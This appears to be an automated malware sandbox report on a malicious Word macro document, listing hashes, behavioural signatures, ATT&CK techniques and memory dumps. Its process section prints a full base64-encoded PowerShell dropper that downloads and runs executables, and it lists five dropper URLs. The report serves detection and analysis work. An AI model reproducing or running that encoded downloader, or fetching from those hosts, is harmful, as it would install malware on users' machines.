Overview

overview

10

Static

static

8

flujakpb.doc

windows7_x64

10

flujakpb.doc

windows10-2004_x64

10

Analysis

  • max time kernel
    144s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    22-05-2022 05:25

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General

  • Target

    flujakpb.doc

  • Size

    173KB

  • MD5

    9dc6c15bd5cadbea76473ca0a61270d0

  • SHA1

    a1e18ac08b98c88a49da1b8afa527468a102fd0d

  • SHA256

    56916942bc59a1ae0cc030beaf907b54631390e0a5fa7d75bce1f120df88d843

  • SHA512

    ef06ec05fa2463a2f32defb87d796ff0fb88d3d9c8f2169b19683b6620e4e18dab86b69ae8649d59d2cc280293ec1f070443e9d69ad7018b20fee14a789f05a4

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://prolicitar.com.br/privilege/VwWMjYDU/
exe.dropper

http://proreclame.nl/assets/Riw/
exe.dropper

http://www.meltonian.net/Blog/Zaviixl730/
exe.dropper

http://www.mollymoody.com/iRVKRMq/
exe.dropper

https://mwrouse.com/cs2300/qVJaPCy/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\flujakpb.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2004
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2100

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/2004-130-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-132-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-131-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-133-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-134-0x00007FFA37A10000-0x00007FFA37A20000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-135-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-136-0x00007FFA352F0000-0x00007FFA35300000-memory.dmp
    Filesize

    64KB

    Download
  • memory/2004-137-0x0000017077870000-0x0000017077874000-memory.dmp
    Filesize

    16KB

    Download
  • memory/2100-138-0x00000251CF8B0000-0x00000251CF8D2000-memory.dmp
    Filesize

    136KB

    Download
  • memory/2100-139-0x00007FFA4BD80000-0x00007FFA4C841000-memory.dmp
    Filesize

    10.8MB

    Download